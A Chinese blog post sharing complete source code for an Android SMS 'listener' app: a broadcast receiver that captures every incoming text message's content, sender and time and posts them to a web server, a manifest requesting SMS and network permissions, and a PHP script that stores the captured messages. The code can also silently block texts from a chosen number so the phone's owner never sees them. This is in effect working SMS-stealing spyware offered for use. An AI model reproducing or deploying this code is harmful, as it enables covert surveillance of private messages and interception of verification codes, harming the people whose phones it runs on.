• android手机短信监听器,监听到的短信发送到web服务器,完整源码分享


    1.创建广播接受者SMSbroadcastreaciver.java

     1 package cn.caicai.smslistener;
     2 
     3 import java.net.HttpURLConnection;
     4 import java.net.URL;
     5 import java.net.URLEncoder;
     6 import java.text.SimpleDateFormat;
     7 import java.util.Date;
     8 import android.content.BroadcastReceiver;
     9 import android.content.Context;
    10 import android.content.Intent;
    11 import android.telephony.SmsMessage;
    12 
    13 public class SMSbroadcastreaciver extends BroadcastReceiver {
    14 
    15     @Override
    16     public void onReceive(Context context, Intent intent) {
    17         Object[] pdus = (Object[]) intent.getExtras().get("pdus");//从intent内获取短信参数,pdus为参数字段
    18         for (Object p : pdus) {
    19             byte[] pdu = (byte[]) p;
    20             SmsMessage message = SmsMessage.createFromPdu(pdu);//生成短信对象
    21             String content = message.getMessageBody();// 取得短信内容
    22             Date date = new Date(message.getTimestampMillis());//获取发送时间搓
    23             SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//自定义时间格式
    24             String receivetime = format.format(date);
    25             String sendernum = message.getOriginatingAddress();//获取短信发送者
    26             sendsms(sendernum, content, receivetime);//获取发送时间
    27             if("15555215556".equals(sendernum)){//当发送的号码为SMSbroadcastreaciver,则拦截短信
    28                 abortBroadcast();//阻止继续广播,即达到拦截功能                
    29             }
    30         }
    31 
    32     }
    33 
    34     private boolean sendsms(String sendernum, String content, String receivetime) {        
    35         try {
    36             String path = "http://192.168.0.117/testxml/web.php";
    37             String params = "content=" + URLEncoder.encode(content,"UTF-8")+"&receivetime=" + receivetime + "&sendernum=" + sendernum;
    38             byte[] entity = params.getBytes();
    39             HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
    40             conn.setConnectTimeout(5000);
    41             conn.setDoOutput(true);
    42             conn.setRequestMethod("POST");
    43             conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
    44             conn.setRequestProperty("Content-Length",String.valueOf(entity.length));
    45             conn.getOutputStream().write(entity);
    46             if (conn.getResponseCode() == 200) {
    47                 return true;
    48             }
    49         } catch (Exception e) {
    50             e.printStackTrace();
    51         }
    52         return false;
    53     }
    54 
    55 }
    SMSbroadcastreaciver.java

    备注:当注释掉这段代码就达到了,短信监听的功能if("15555215556".equals(sendernum)){abortBroadcast(); },添加后就是拦截短信,手机用户就无法接收到来自15555215556的短信

    2.配置清单文件AndroidManifest.xml

     1 <?xml version="1.0" encoding="utf-8"?>
     2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     3     package="cn.caicai.smslistener"
     4     android:versionCode="1"
     5     android:versionName="1.0" >
     6 
     7     <uses-sdk android:minSdkVersion="8" />
     8 //添加接收短信权限
     9     <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    10 //添加访问网络权限
    11     <uses-permission android:name="android.permission.INTERNET"/>
    12 
    13     <application
    14         android:icon="@drawable/ic_launcher"
    15         android:label="@string/app_name" >
    16         <receiver android:name=".SMSbroadcastreaciver" >
    17             <intent-filter  android:priority="1000">
    18                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    19             </intent-filter>
    20         </receiver>
    21     </application>
    22 
    23 </manifest>
    AndroidManifest.xml

    3.web服务器-负责接收监听的短信

     1 <?php
     2 $sendernum=$_POST['sendernum'];
     3 $content=$_POST['content'];
     4 $receivetime=$_POST['receivetime'];
     5 
     6 $filename="test.txt";
     7 $fp=fopen("$filename", "w+"); //打开文件指针,创建文件
     8 if ( !is_writable($filename) ){
     9       die("文件:" .$filename. "不可写,请检查!");
    10 }
    11 $data ="发送者:".$sendernum."  发送内容:".$content." 发送时间:".$receivetime;
    12 fwrite($fp, $data);
    13 fclose($fp);  //关闭指针
    14 ?>
    testxml/web.php
  • 相关阅读:
    三、checkedListBoxControl
    三、安装MyCat-Web
    三、zookeeper安装
    二、.Net 连接mycat
    一、MyCat的搭建
    二、优惠卷
    二、Docker部署应用
    【2019-05-08】感知当下
    【一句日历】2019年7月
    【读书】2019
  • 原文地址:https://www.cnblogs.com/clarence/p/3155758.html
Copyright © 2020-2023  润新知